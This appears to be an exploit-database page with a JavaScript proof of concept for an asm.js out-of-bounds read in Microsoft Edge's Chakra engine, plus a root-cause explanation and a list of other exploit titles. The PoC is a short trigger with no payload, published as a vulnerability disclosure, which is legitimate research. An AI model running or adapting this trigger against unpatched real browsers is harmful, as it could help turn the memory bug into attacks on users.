
10 changes to exploits/shellcodes Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read Microsoft Windows - 'nt!NtQuerySystemInformation (information class 138_ QueryMemoryTopologyInformation)' Kernel Pool Memory Disclosure Android - Inter-Process munmap due to Race Condition in ashmem Microsoft Windows - 'nt!NtQueryInformationProcess (information class 76_ QueryProcessEnergyValues)' Kernel Stack Memory Disclosure Microsoft Edge Chakra JIT - Escape Analysis Bug Microsoft Windows - Local XPS Print Spooler Sandbox Escape Commvault Communications Service (cvd) - Command Injection (Metasploit) osCommerce 2.2 - SQL Injection
40 lines
No EOL
1.4 KiB
JavaScript
40 lines
No EOL
1.4 KiB
JavaScript
/*
|
|
Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
|
|
AsmJsVar * initSource = nullptr;
|
|
if (decl->sxVar.pnodeInit->nop == knopName)
|
|
{
|
|
AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
|
|
if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
|
|
{
|
|
// in this case we are initializing with value of a constant var
|
|
initSource = initSym->Cast<AsmJsVar>();
|
|
}
|
|
...
|
|
}
|
|
...
|
|
if (initSource)
|
|
{
|
|
if (var->GetType().isDouble())
|
|
{
|
|
mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
|
|
}
|
|
|
|
Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
|
|
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
|
|
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.
|
|
|
|
PoC:
|
|
*/
|
|
|
|
function createModule() {
|
|
'use asm';
|
|
const a = 1.0;
|
|
function f() {
|
|
var b = a;
|
|
var a = 0;
|
|
}
|
|
|
|
return f;
|
|
}
|
|
var f = createModule();
|
|
f(); |